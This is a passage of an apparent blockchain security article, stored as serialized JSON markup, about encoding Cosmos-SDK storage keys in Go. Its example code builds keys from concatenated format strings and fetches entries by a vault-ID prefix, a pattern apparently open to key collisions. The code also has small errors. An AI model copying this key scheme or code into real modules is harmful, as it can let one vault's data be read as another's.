AddressMapPrefix",{"type":23,"tag":75,"props":11706,"children":11707},{"style":209},[11708],{"type":29,"value":1193},{"type":23,"tag":75,"props":11710,"children":11711},{"style":1266},[11712],{"type":29,"value":11685},{"type":23,"tag":75,"props":11714,"children":11715},{"style":11688},[11716],{"type":29,"value":11717},"\\x02",{"type":23,"tag":75,"props":11719,"children":11720},{"style":1266},[11721],{"type":29,"value":11696},{"type":23,"tag":75,"props":11723,"children":11724},{"class":77,"line":161},[11725],{"type":23,"tag":75,"props":11726,"children":11727},{"style":94},[11728],{"type":29,"value":653},{"type":23,"tag":75,"props":11730,"children":11731},{"class":77,"line":196},[11732],{"type":23,"tag":75,"props":11733,"children":11734},{"emptyLinePlaceholder":15},[11735],{"type":29,"value":276},{"type":23,"tag":75,"props":11737,"children":11738},{"class":77,"line":220},[11739],{"type":23,"tag":75,"props":11740,"children":11741},{"emptyLinePlaceholder":15},[11742],{"type":29,"value":276},{"type":23,"tag":75,"props":11744,"children":11745},{"class":77,"line":248},[11746,11750,11754],{"type":23,"tag":75,"props":11747,"children":11748},{"style":82},[11749],{"type":29,"value":512},{"type":23,"tag":75,"props":11751,"children":11752},{"style":88},[11753],{"type":29,"value":10751},{"type":23,"tag":75,"props":11755,"children":11756},{"style":94},[11757],{"type":29,"value":97},{"type":23,"tag":75,"props":11759,"children":11760},{"class":77,"line":270},[11761,11765,11769],{"type":23,"tag":75,"props":11762,"children":11763},{"style":110},[11764],{"type":29,"value":9637},{"type":23,"tag":75,"props":11766,"children":11767},{"style":104},[11768],{"type":29,"value":638},{"type":23,"tag":75,"props":11770,"children":11771},{"style":94},[11772],{"type":29,"value":118},{"type":23,"tag":75,"props":11774,"children":11775},{"class":77,"line":279},[11776,11780,11784,11788,11792,11796],{"type":23,"tag":75,"props":11777,"children":11778},{"style":110},[11779],{"type":29,"value":9649},{"type":23,"tag":75,"props":11781,"children":11782},{"style":94},[11783],{"type":29,"value":611},{"type":23,"tag":75,"props":11785,"children":11786},{"style":110},[11787],{"type":29,"value":10131},{"type":23,"tag":75,"props":11789,"children":11790},{"style":94},[11791],{"type":29,"value":439},{"type":23,"tag":75,"props":11793,"children":11794},{"style":104},[11795],{"type":29,"value":9151},{"type":23,"tag":75,"props":11797,"children":11798},{"style":94},[11799],{"type":29,"value":118},{"type":23,"tag":75,"props":11801,"children":11802},{"class":77,"line":303},[11803,11807,11811,11815,11819],{"type":23,"tag":75,"props":11804,"children":11805},{"style":94},[11806],{"type":29,"value":596},{"type":23,"tag":75,"props":11808,"children":11809},{"style":110},[11810],{"type":29,"value":1779},{"type":23,"tag":75,"props":11812,"children":11813},{"style":94},[11814],{"type":29,"value":439},{"type":23,"tag":75,"props":11816,"children":11817},{"style":104},[11818],{"type":29,"value":9151},{"type":23,"tag":75,"props":11820,"children":11821},{"style":94},[11822],{"type":29,"value":193},{"type":23,"tag":75,"props":11824,"children":11825},{"class":77,"line":322},[11826,11830,11834,11838],{"type":23,"tag":75,"props":11827,"children":11828},{"style":110},[11829],{"type":29,"value":10252},{"type":23,"tag":75,"props":11831,"children":11832},{"style":209},[11833],{"type":29,"value":633},{"type":23,"tag":75,"props":11835,"children":11836},{"style":88},[11837],{"type":29,"value":9955},{"type":23,"tag":75,"props":11839,"children":11840},{"style":94},[11841],{"type":29,"value":97},{"type":23,"tag":75,"props":11843,"children":11844},{"class":77,"line":340},[11845,11849,11853],{"type":23,"tag":75,"props":11846,"children":11847},{"style":94},[11848],{"type":29,"value":10847},{"type":23,"tag":75,"props":11850,"children":11851},{"style":104},[11852],{"type":29,"value":9151},{"type":23,"tag":75,"props":11854,"children":11855},{"style":94},[11856],{"type":29,"value":118},{"type":23,"tag":75,"props":11858,"children":11859},{"class":77,"line":349},[11860,11864,11868,11872,11876,11880,11884,11888],{"type":23,"tag":75,"props":11861,"children":11862},{"style":110},[11863],{"type":29,"value":10863},{"type":23,"tag":75,"props":11865,"children":11866},{"style":94},[11867],{"type":29,"value":557},{"type":23,"tag":75,"props":11869,"children":11870},{"style":88},[11871],{"type":29,"value":9992},{"type":23,"tag":75,"props":11873,"children":11874},{"style":94},[11875],{"type":29,"value":643},{"type":23,"tag":75,"props":11877,"children":11878},{"style":88},[11879],{"type":29,"value":679},{"type":23,"tag":75,"props":11881,"children":11882},{"style":94},[11883],{"type":29,"value":643},{"type":23,"tag":75,"props":11885,"children":11886},{"style":110},[11887],{"type":29,"value":9862},{"type":23,"tag":75,"props":11889,"children":11890},{"style":94},[11891],{"type":29,"value":10013},{"type":23,"tag":75,"props":11893,"children":11894},{"class":77,"line":363},[11895],{"type":23,"tag":75,"props":11896,"children":11897},{"style":94},[11898],{"type":29,"value":7152},{"type":23,"tag":75,"props":11900,"children":11901},{"class":77,"line":656},[11902,11906,11910,11914,11918,11922,11926,11930],{"type":23,"tag":75,"props":11903,"children":11904},{"style":110},[11905],{"type":29,"value":9983},{"type":23,"tag":75,"props":11907,"children":11908},{"style":94},[11909],{"type":29,"value":557},{"type":23,"tag":75,"props":11911,"children":11912},{"style":88},[11913],{"type":29,"value":10037},{"type":23,"tag":75,"props":11915,"children":11916},{"style":94},[11917],{"type":29,"value":643},{"type":23,"tag":75,"props":11919,"children":11920},{"style":110},[11921],{"type":29,"value":9946},{"type":23,"tag":75,"props":11923,"children":11924},{"style":94},[11925],{"type":29,"value":611},{"type":23,"tag":75,"props":11927,"children":11928},{"style":110},[11929],{"type":29,"value":9862},{"type":23,"tag":75,"props":11931,"children":11932},{"style":94},[11933],{"type":29,"value":653},{"type":23,"tag":75,"props":11935,"children":11936},{"class":77,"line":705},[11937],{"type":23,"tag":75,"props":11938,"children":11939},{"emptyLinePlaceholder":15},[11940],{"type":29,"value":276},{"type":23,"tag":75,"props":11942,"children":11943},{"class":77,"line":787},[11944,11948,11952,11956],{"type":23,"tag":75,"props":11945,"children":11946},{"style":110},[11947],{"type":29,"value":10948},{"type":23,"tag":75,"props":11949,"children":11950},{"style":209},[11951],{"type":29,"value":633},{"type":23,"tag":75,"props":11953,"children":11954},{"style":88},[11955],{"type":29,"value":9955},{"type":23,"tag":75,"props":11957,"children":11958},{"style":94},[11959],{"type":29,"value":97},{"type":23,"tag":75,"props":11961,"children":11962},{"class":77,"line":826},[11963,11967,11971],{"type":23,"tag":75,"props":11964,"children":11965},{"style":94},[11966],{"type":29,"value":10847},{"type":23,"tag":75,"props":11968,"children":11969},{"style":104},[11970],{"type":29,"value":9151},{"type":23,"tag":75,"props":11972,"children":11973},{"style":94},[11974],{"type":29,"value":118},{"type":23,"tag":75,"props":11976,"children":11977},{"class":77,"line":834},[11978,11982,11986,11990,11994,11998,12002,12006],{"type":23,"tag":75,"props":11979,"children":11980},{"style":110},[11981],{"type":29,"value":10863},{"type":23,"tag":75,"props":11983,"children":11984},{"style":94},[11985],{"type":29,"value":557},{"type":23,"tag":75,"props":11987,"children":11988},{"style":88},[11989],{"type":29,"value":9992},{"type":23,"tag":75,"props":11991,"children":11992},{"style":94},[11993],{"type":29,"value":643},{"type":23,"tag":75,"props":11995,"children":11996},{"style":88},[11997],{"type":29,"value":679},{"type":23,"tag":75,"props":11999,"children":12000},{"style":94},[12001],{"type":29,"value":643},{"type":23,"tag":75,"props":12003,"children":12004},{"style":110},[12005],{"type":29,"value":10131},{"type":23,"tag":75,"props":12007,"children":12008},{"style":94},[12009],{"type":29,"value":10013},{"type":23,"tag":75,"props":12011,"children":12012},{"class":77,"line":881},[12013],{"type":23,"tag":75,"props":12014,"children":12015},{"style":94},[12016],{"type":29,"value":7152},{"type":23,"tag":75,"props":12018,"children":12019},{"class":77,"line":3355},[12020,12024,12028,12032,12036,12040,12044,12048],{"type":23,"tag":75,"props":12021,"children":12022},{"style":110},[12023],{"type":29,"value":9983},{"type":23,"tag":75,"props":12025,"children":12026},{"style":94},[12027],{"type":29,"value":557},{"type":23,"tag":75,"props":12029,"children":12030},{"style":88},[12031],{"type":29,"value":10037},{"type":23,"tag":75,"props":12033,"children":12034},{"style":94},[12035],{"type":29,"value":643},{"type":23,"tag":75,"props":12037,"children":12038},{"style":110},[12039],{"type":29,"value":10072},{"type":23,"tag":75,"props":12041,"children":12042},{"style":94},[12043],{"type":29,"value":611},{"type":23,"tag":75,"props":12045,"children":12046},{"style":110},[12047],{"type":29,"value":10131},{"type":23,"tag":75,"props":12049,"children":12050},{"style":94},[12051],{"type":29,"value":653},{"type":23,"tag":75,"props":12053,"children":12054},{"class":77,"line":3390},[12055],{"type":23,"tag":75,"props":12056,"children":12057},{"emptyLinePlaceholder":15},[12058],{"type":29,"value":276},{"type":23,"tag":75,"props":12060,"children":12061},{"class":77,"line":3423},[12062,12066,12070,12074,12078,12082],{"type":23,"tag":75,"props":12063,"children":12064},{"style":110},[12065],{"type":29,"value":11067},{"type":23,"tag":75,"props":12067,"children":12068},{"style":209},[12069],{"type":29,"value":633},{"type":23,"tag":75,"props":12071,"children":12072},{"style":110},[12073],{"type":29,"value":6604},{"type":23,"tag":75,"props":12075,"children":12076},{"style":94},[12077],{"type":29,"value":557},{"type":23,"tag":75,"props":12079,"children":12080},{"style":88},[12081],{"type":29,"value":9613},{"type":23,"tag":75,"props":12083,"children":12084},{"style":94},[12085],{"type":29,"value":97},{"type":23,"tag":75,"props":12087,"children":12088},{"class":77,"line":3436},[12089,12094],{"type":23,"tag":75,"props":12090,"children":12091},{"style":1266},[12092],{"type":29,"value":12093},"        \"%s%d%s%s%s%s\"",{"type":23,"tag":75,"props":12095,"children":12096},{"style":94},[12097],{"type":29,"value":118},{"type":23,"tag":75,"props":12099,"children":12100},{"class":77,"line":3449},[12101,12106],{"type":23,"tag":75,"props":12102,"children":12103},{"style":110},[12104],{"type":29,"value":12105},"        PositionMapPrefix",{"type":23,"tag":75,"props":12107,"children":12108},{"style":94},[12109],{"type":29,"value":118},{"type":23,"tag":75,"props":12111,"children":12112},{"class":77,"line":3457},[12113,12117],{"type":23,"tag":75,"props":12114,"children":12115},{"style":110},[12116],{"type":29,"value":11107},{"type":23,"tag":75,"props":12118,"children":12119},{"style":94},[12120],{"type":29,"value":118},{"type":23,"tag":75,"props":12122,"children":12123},{"class":77,"line":3465},[12124,12128],{"type":23,"tag":75,"props":12125,"children":12126},{"style":110},[12127],{"type":29,"value":11119},{"type":23,"tag":75,"props":12129,"children":12130},{"style":94},[12131],{"type":29,"value":118},{"type":23,"tag":75,"props":12133,"children":12134},{"class":77,"line":3473},[12135,12139],{"type":23,"tag":75,"props":12136,"children":12137},{"style":110},[12138],{"type":29,"value":11131},{"type":23,"tag":75,"props":12140,"children":12141},{"style":94},[12142],{"type":29,"value":118},{"type":23,"tag":75,"props":12144,"children":12145},{"class":77,"line":3481},[12146,12150],{"type":23,"tag":75,"props":12147,"children":12148},{"style":110},[12149],{"type":29,"value":11119},{"type":23,"tag":75,"props":12151,"children":12152},{"style":94},[12153],{"type":29,"value":118},{"type":23,"tag":75,"props":12155,"children":12156},{"class":77,"line":3524},[12157,12161],{"type":23,"tag":75,"props":12158,"children":12159},{"style":110},[12160],{"type":29,"value":11154},{"type":23,"tag":75,"props":12162,"children":12163},{"style":94},[12164],{"type":29,"value":118},{"type":23,"tag":75,"props":12166,"children":12167},{"class":77,"line":4890},[12168],{"type":23,"tag":75,"props":12169,"children":12170},{"style":94},[12171],{"type":29,"value":7152},{"type":23,"tag":75,"props":12173,"children":12174},{"class":77,"line":4937},[12175],{"type":23,"tag":75,"props":12176,"children":12177},{"style":94},[12178],{"type":29,"value":369},{"type":23,"tag":75,"props":12180,"children":12181},{"class":77,"line":4950},[12182],{"type":23,"tag":75,"props":12183,"children":12184},{"emptyLinePlaceholder":15},[12185],{"type":29,"value":276},{"type":23,"tag":75,"props":12187,"children":12188},{"class":77,"line":4958},[12189],{"type":23,"tag":75,"props":12190,"children":12191},{"emptyLinePlaceholder":15},[12192],{"type":29,"value":276},{"type":23,"tag":75,"props":12194,"children":12195},{"class":77,"line":4967},[12196,12200,12204],{"type":23,"tag":75,"props":12197,"children":12198},{"style":82},[12199],{"type":29,"value":512},{"type":23,"tag":75,"props":12201,"children":12202},{"style":88},[12203],{"type":29,"value":11198},{"type":23,"tag":75,"props":12205,"children":12206},{"style":94},[12207],{"type":29,"value":97},{"type":23,"tag":75,"props":12209,"children":12210},{"class":77,"line":4975},[12211,12215,12219],{"type":23,"tag":75,"props":12212,"children":12213},{"style":110},[12214],{"type":29,"value":9637},{"type":23,"tag":75,"props":12216,"children":12217},{"style":104},[12218],{"type":29,"value":638},{"type":23,"tag":75,"props":12220,"children":12221},{"style":94},[12222],{"type":29,"value":118},{"type":23,"tag":75,"props":12224,"children":12225},{"class":77,"line":5016},[12226,12230,12234,12238,12242,12246],{"type":23,"tag":75,"props":12227,"children":12228},{"style":110},[12229],{"type":29,"value":9649},{"type":23,"tag":75,"props":12231,"children":12232},{"style":94},[12233],{"type":29,"value":611},{"type":23,"tag":75,"props":12235,"children":12236},{"style":110},[12237],{"type":29,"value":11233},{"type":23,"tag":75,"props":12239,"children":12240},{"style":94},[12241],{"type":29,"value":439},{"type":23,"tag":75,"props":12243,"children":12244},{"style":104},[12245],{"type":29,"value":9151},{"type":23,"tag":75,"props":12247,"children":12248},{"style":94},[12249],{"type":29,"value":118},{"type":23,"tag":75,"props":12251,"children":12252},{"class":77,"line":5025},[12253,12257,12261,12265,12269],{"type":23,"tag":75,"props":12254,"children":12255},{"style":94},[12256],{"type":29,"value":596},{"type":23,"tag":75,"props":12258,"children":12259},{"style":110},[12260],{"type":29,"value":1779},{"type":23,"tag":75,"props":12262,"children":12263},{"style":94},[12264],{"type":29,"value":439},{"type":23,"tag":75,"props":12266,"children":12267},{"style":104},[12268],{"type":29,"value":9151},{"type":23,"tag":75,"props":12270,"children":12271},{"style":94},[12272],{"type":29,"value":193},{"type":23,"tag":75,"props":12274,"children":12275},{"class":77,"line":5033},[12276,12280,12284,12288],{"type":23,"tag":75,"props":12277,"children":12278},{"style":110},[12279],{"type":29,"value":10252},{"type":23,"tag":75,"props":12281,"children":12282},{"style":209},[12283],{"type":29,"value":633},{"type":23,"tag":75,"props":12285,"children":12286},{"style":88},[12287],{"type":29,"value":9955},{"type":23,"tag":75,"props":12289,"children":12290},{"style":94},[12291],{"type":29,"value":97},{"type":23,"tag":75,"props":12293,"children":12294},{"class":77,"line":5041},[12295,12299,12303],{"type":23,"tag":75,"props":12296,"children":12297},{"style":94},[12298],{"type":29,"value":10847},{"type":23,"tag":75,"props":12300,"children":12301},{"style":104},[12302],{"type":29,"value":9151},{"type":23,"tag":75,"props":12304,"children":12305},{"style":94},[12306],{"type":29,"value":118},{"type":23,"tag":75,"props":12308,"children":12309},{"class":77,"line":5050},[12310,12314,12318,12322,12326,12330,12334,12338],{"type":23,"tag":75,"props":12311,"children":12312},{"style":110},[12313],{"type":29,"value":10863},{"type":23,"tag":75,"props":12315,"children":12316},{"style":94},[12317],{"type":29,"value":557},{"type":23,"tag":75,"props":12319,"children":12320},{"style":88},[12321],{"type":29,"value":9992},{"type":23,"tag":75,"props":12323,"children":12324},{"style":94},[12325],{"type":29,"value":643},{"type":23,"tag":75,"props":12327,"children":12328},{"style":88},[12329],{"type":29,"value":679},{"type":23,"tag":75,"props":12331,"children":12332},{"style":94},[12333],{"type":29,"value":643},{"type":23,"tag":75,"props":12335,"children":12336},{"style":110},[12337],{"type":29,"value":9862},{"type":23,"tag":75,"props":12339,"children":12340},{"style":94},[12341],{"type":29,"value":10013},{"type":23,"tag":75,"props":12343,"children":12344},{"class":77,"line":5058},[12345],{"type":23,"tag":75,"props":12346,"children":12347},{"style":94},[12348],{"type":29,"value":7152},{"type":23,"tag":75,"props":12350,"children":12351},{"class":77,"line":5083},[12352,12356,12360,12364,12368,12372,12376,12380],{"type":23,"tag":75,"props":12353,"children":12354},{"style":110},[12355],{"type":29,"value":9983},{"type":23,"tag":75,"props":12357,"children":12358},{"style":94},[12359],{"type":29,"value":557},{"type":23,"tag":75,"props":12361,"children":12362},{"style":88},[12363],{"type":29,"value":10037},{"type":23,"tag":75,"props":12365,"children":12366},{"style":94},[12367],{"type":29,"value":643},{"type":23,"tag":75,"props":12369,"children":12370},{"style":110},[12371],{"type":29,"value":9946},{"type":23,"tag":75,"props":12373,"children":12374},{"style":94},[12375],{"type":29,"value":611},{"type":23,"tag":75,"props":12377,"children":12378},{"style":110},[12379],{"type":29,"value":9862},{"type":23,"tag":75,"props":12381,"children":12382},{"style":94},[12383],{"type":29,"value":653},{"type":23,"tag":75,"props":12385,"children":12386},{"class":77,"line":5108},[12387],{"type":23,"tag":75,"props":12388,"children":12389},{"emptyLinePlaceholder":15},[12390],{"type":29,"value":276},{"type":23,"tag":75,"props":12392,"children":12393},{"class":77,"line":5137},[12394,12398,12402,12406],{"type":23,"tag":75,"props":12395,"children":12396},{"style":110},[12397],{"type":29,"value":11390},{"type":23,"tag":75,"props":12399,"children":12400},{"style":209},[12401],{"type":29,"value":633},{"type":23,"tag":75,"props":12403,"children":12404},{"style":88},[12405],{"type":29,"value":9955},{"type":23,"tag":75,"props":12407,"children":12408},{"style":94},[12409],{"type":29,"value":97},{"type":23,"tag":75,"props":12411,"children":12412},{"class":77,"line":5163},[12413,12417,12421],{"type":23,"tag":75,"props":12414,"children":12415},{"style":94},[12416],{"type":29,"value":10847},{"type":23,"tag":75,"props":12418,"children":12419},{"style":104},[12420],{"type":29,"value":9151},{"type":23,"tag":75,"props":12422,"children":12423},{"style":94},[12424],{"type":29,"value":118},{"type":23,"tag":75,"props":12426,"children":12427},{"class":77,"line":5172},[12428,12432,12436,12440,12444,12448,12452,12456],{"type":23,"tag":75,"props":12429,"children":12430},{"style":110},[12431],{"type":29,"value":10863},{"type":23,"tag":75,"props":12433,"children":12434},{"style":94},[12435],{"type":29,"value":557},{"type":23,"tag":75,"props":12437,"children":12438},{"style":88},[12439],{"type":29,"value":9992},{"type":23,"tag":75,"props":12441,"children":12442},{"style":94},[12443],{"type":29,"value":643},{"type":23,"tag":75,"props":12445,"children":12446},{"style":88},[12447],{"type":29,"value":679},{"type":23,"tag":75,"props":12449,"children":12450},{"style":94},[12451],{"type":29,"value":643},{"type":23,"tag":75,"props":12453,"children":12454},{"style":110},[12455],{"type":29,"value":11233},{"type":23,"tag":75,"props":12457,"children":12458},{"style":94},[12459],{"type":29,"value":10013},{"type":23,"tag":75,"props":12461,"children":12462},{"class":77,"line":5206},[12463],{"type":23,"tag":75,"props":12464,"children":12465},{"style":94},[12466],{"type":29,"value":7152},{"type":23,"tag":75,"props":12468,"children":12469},{"class":77,"line":5214},[12470,12474,12478,12482,12486,12490,12494,12498],{"type":23,"tag":75,"props":12471,"children":12472},{"style":110},[12473],{"type":29,"value":9983},{"type":23,"tag":75,"props":12475,"children":12476},{"style":94},[12477],{"type":29,"value":557},{"type":23,"tag":75,"props":12479,"children":12480},{"style":88},[12481],{"type":29,"value":10037},{"type":23,"tag":75,"props":12483,"children":12484},{"style":94},[12485],{"type":29,"value":643},{"type":23,"tag":75,"props":12487,"children":12488},{"style":110},[12489],{"type":29,"value":11483},{"type":23,"tag":75,"props":12491,"children":12492},{"style":94},[12493],{"type":29,"value":611},{"type":23,"tag":75,"props":12495,"children":12496},{"style":110},[12497],{"type":29,"value":11233},{"type":23,"tag":75,"props":12499,"children":12500},{"style":94},[12501],{"type":29,"value":653},{"type":23,"tag":75,"props":12503,"children":12504},{"class":77,"line":5227},[12505],{"type":23,"tag":75,"props":12506,"children":12507},{"emptyLinePlaceholder":15},[12508],{"type":29,"value":276},{"type":23,"tag":75,"props":12510,"children":12511},{"class":77,"line":5259},[12512,12516,12520,12524,12528,12532],{"type":23,"tag":75,"props":12513,"children":12514},{"style":110},[12515],{"type":29,"value":11067},{"type":23,"tag":75,"props":12517,"children":12518},{"style":209},[12519],{"type":29,"value":633},{"type":23,"tag":75,"props":12521,"children":12522},{"style":110},[12523],{"type":29,"value":6604},{"type":23,"tag":75,"props":12525,"children":12526},{"style":94},[12527],{"type":29,"value":557},{"type":23,"tag":75,"props":12529,"children":12530},{"style":88},[12531],{"type":29,"value":9613},{"type":23,"tag":75,"props":12533,"children":12534},{"style":94},[12535],{"type":29,"value":97},{"type":23,"tag":75,"props":12537,"children":12538},{"class":77,"line":5315},[12539,12543],{"type":23,"tag":75,"props":12540,"children":12541},{"style":1266},[12542],{"type":29,"value":12093},{"type":23,"tag":75,"props":12544,"children":12545},{"style":94},[12546],{"type":29,"value":118},{"type":23,"tag":75,"props":12548,"children":12549},{"class":77,"line":5328},[12550,12555],{"type":23,"tag":75,"props":12551,"children":12552},{"style":110},[12553],{"type":29,"value":12554},"        AddressMapPrefix",{"type":23,"tag":75,"props":12556,"children":12557},{"style":94},[12558],{"type":29,"value":118},{"type":23,"tag":75,"props":12560,"children":12561},{"class":77,"line":5336},[12562,12566],{"type":23,"tag":75,"props":12563,"children":12564},{"style":110},[12565],{"type":29,"value":11107},{"type":23,"tag":75,"props":12567,"children":12568},{"style":94},[12569],{"type":29,"value":118},{"type":23,"tag":75,"props":12571,"children":12572},{"class":77,"line":5344},[12573,12577],{"type":23,"tag":75,"props":12574,"children":12575},{"style":110},[12576],{"type":29,"value":11119},{"type":23,"tag":75,"props":12578,"children":12579},{"style":94},[12580],{"type":29,"value":118},{"type":23,"tag":75,"props":12582,"children":12583},{"class":77,"line":5352},[12584,12588],{"type":23,"tag":75,"props":12585,"children":12586},{"style":110},[12587],{"type":29,"value":11131},{"type":23,"tag":75,"props":12589,"children":12590},{"style":94},[12591],{"type":29,"value":118},{"type":23,"tag":75,"props":12593,"children":12594},{"class":77,"line":5392},[12595,12599],{"type":23,"tag":75,"props":12596,"children":12597},{"style":110},[12598],{"type":29,"value":11119},{"type":23,"tag":75,"props":12600,"children":12601},{"style":94},[12602],{"type":29,"value":118},{"type":23,"tag":75,"props":12604,"children":12605},{"class":77,"line":5400},[12606,12610],{"type":23,"tag":75,"props":12607,"children":12608},{"style":110},[12609],{"type":29,"value":11592},{"type":23,"tag":75,"props":12611,"children":12612},{"style":94},[12613],{"type":29,"value":118},{"type":23,"tag":75,"props":12615,"children":12617},{"class":77,"line":12616},60,[12618],{"type":23,"tag":75,"props":12619,"children":12620},{"style":94},[12621],{"type":29,"value":7152},{"type":23,"tag":75,"props":12623,"children":12625},{"class":77,"line":12624},61,[12626],{"type":23,"tag":75,"props":12627,"children":12628},{"style":94},[12629],{"type":29,"value":369},{"type":23,"tag":32,"props":12631,"children":12632},{},[12633],{"type":29,"value":12634},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":32,"props":12636,"children":12637},{},[12638,12640,12645],{"type":29,"value":12639},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":71,"props":12641,"children":12643},{"className":12642},[],[12644],{"type":29,"value":1847},{"type":29,"value":12646},", data should still be retrievable through original keys.",{"type":23,"tag":32,"props":12648,"children":12649},{},[12650,12652,12658,12660,12665],{"type":29,"value":12651},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":71,"props":12653,"children":12655},{"className":12654},[],[12656],{"type":29,"value":12657},"map[Username]map[PositionName]Position",{"type":29,"value":12659}," associated with a ",{"type":23,"tag":71,"props":12661,"children":12663},{"className":12662},[],[12664],{"type":29,"value":9525},{"type":29,"value":12666}," from the storage. How can we safely accomplish this?",{"type":23,"tag":32,"props":12668,"children":12669},{},[12670,12672,12677,12679,12685],{"type":29,"value":12671},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":71,"props":12673,"children":12675},{"className":12674},[],[12676],{"type":29,"value":9596},{"type":29,"value":12678}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":71,"props":12680,"children":12682},{"className":12681},[],[12683],{"type":29,"value":12684},"vaultId",{"type":29,"value":1018},{"type":23,"tag":64,"props":12687,"children":12689},{"code":12688,"language":373,"meta":7,"className":374,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[12690],{"type":23,"tag":71,"props":12691,"children":12692},{"__ignoreMap":7},[12693,12709,12724,12773,12825,12854,12866,12912,12919,12967,13023,13030,13094,13157,13180,13199,13206,13213,13273,13332,13355,13374,13381,13388,13443,13492,13499,13506,13547,13577,13584,13591,13603],{"type":23,"tag":75,"props":12694,"children":12695},{"class":77,"line":78},[12696,12700,12705],{"type":23,"tag":75,"props":12697,"children":12698},{"style":82},[12699],{"type":29,"value":512},{"type":23,"tag":75,"props":12701,"children":12702},{"style":88},[12703],{"type":29,"value":12704}," FetchPositionMapWithVaultId",{"type":23,"tag":75,"props":12706,"children":12707},{"style":94},[12708],{"type":29,"value":97},{"type":23,"tag":75,"props":12710,"children":12711},{"class":77,"line":100},[12712,12716,12720],{"type":23,"tag":75,"props":12713,"children":12714},{"style":110},[12715],{"type":29,"value":9637},{"type":23,"tag":75,"props":12717,"children":12718},{"style":104},[12719],{"type":29,"value":638},{"type":23,"tag":75,"props":12721,"children":12722},{"style":94},[12723],{"type":29,"value":118},{"type":23,"tag":75,"props":12725,"children":12726},{"class":77,"line":121},[12727,12732,12736,12740,12744,12748,12752,12756,12760,12764,12769],{"type":23,"tag":75,"props":12728,"children":12729},{"style":94},[12730],{"type":29,"value":12731},") ([]",{"type":23,"tag":75,"props":12733,"children":12734},{"style":82},[12735],{"type":29,"value":1847},{"type":23,"tag":75,"props":12737,"children":12738},{"style":94},[12739],{"type":29,"value":814},{"type":23,"tag":75,"props":12741,"children":12742},{"style":104},[12743],{"type":29,"value":9542},{"type":23,"tag":75,"props":12745,"children":12746},{"style":94},[12747],{"type":29,"value":1610},{"type":23,"tag":75,"props":12749,"children":12750},{"style":82},[12751],{"type":29,"value":1847},{"type":23,"tag":75,"props":12753,"children":12754},{"style":94},[12755],{"type":29,"value":814},{"type":23,"tag":75,"props":12757,"children":12758},{"style":104},[12759],{"type":29,"value":9559},{"type":23,"tag":75,"props":12761,"children":12762},{"style":94},[12763],{"type":29,"value":1610},{"type":23,"tag":75,"props":12765,"children":12766},{"style":104},[12767],{"type":29,"value":12768},"Position",{"type":23,"tag":75,"props":12770,"children":12771},{"style":94},[12772],{"type":29,"value":193},{"type":23,"tag":75,"props":12774,"children":12775},{"class":77,"line":138},[12776,12781,12785,12789,12793,12797,12801,12805,12809,12813,12817,12821],{"type":23,"tag":75,"props":12777,"children":12778},{"style":110},[12779],{"type":29,"value":12780},"    values",{"type":23,"tag":75,"props":12782,"children":12783},{"style":209},[12784],{"type":29,"value":633},{"type":23,"tag":75,"props":12786,"children":12787},{"style":82},[12788],{"type":29,"value":1596},{"type":23,"tag":75,"props":12790,"children":12791},{"style":94},[12792],{"type":29,"value":814},{"type":23,"tag":75,"props":12794,"children":12795},{"style":104},[12796],{"type":29,"value":9542},{"type":23,"tag":75,"props":12798,"children":12799},{"style":94},[12800],{"type":29,"value":1610},{"type":23,"tag":75,"props":12802,"children":12803},{"style":82},[12804],{"type":29,"value":1847},{"type":23,"tag":75,"props":12806,"children":12807},{"style":94},[12808],{"type":29,"value":814},{"type":23,"tag":75,"props":12810,"children":12811},{"style":104},[12812],{"type":29,"value":9559},{"type":23,"tag":75,"props":12814,"children":12815},{"style":94},[12816],{"type":29,"value":1610},{"type":23,"tag":75,"props":12818,"children":12819},{"style":104},[12820],{"type":29,"value":12768},{"type":23,"tag":75,"props":12822,"children":12823},{"style":94},[12824],{"type":29,"value":2391},{"type":23,"tag":75,"props":12826,"children":12827},{"class":77,"line":161},[12828,12833,12837,12841,12845,12850],{"type":23,"tag":75,"props":12829,"children":12830},{"style":110},[12831],{"type":29,"value":12832},"    i",{"type":23,"tag":75,"props":12834,"children":12835},{"style":209},[12836],{"type":29,"value":633},{"type":23,"tag":75,"props":12838,"children":12839},{"style":110},[12840],{"type":29,"value":2951},{"type":23,"tag":75,"props":12842,"children":12843},{"style":94},[12844],{"type":29,"value":557},{"type":23,"tag":75,"props":12846,"children":12847},{"style":88},[12848],{"type":29,"value":12849},"KVStorePrefixIterator",{"type":23,"tag":75,"props":12851,"children":12852},{"style":94},[12853],{"type":29,"value":97},{"type":23,"tag":75,"props":12855,"children":12856},{"class":77,"line":196},[12857,12862],{"type":23,"tag":75,"props":12858,"children":12859},{"style":110},[12860],{"type":29,"value":12861},"        kvStore",{"type":23,"tag":75,"props":12863,"children":12864},{"style":94},[12865],{"type":29,"value":118},{"type":23,"tag":75,"props":12867,"children":12868},{"class":77,"line":220},[12869,12874,12878,12882,12886,12891,12895,12900,12904,12908],{"type":23,"tag":75,"props":12870,"children":12871},{"style":110},[12872],{"type":29,"value":12873},"        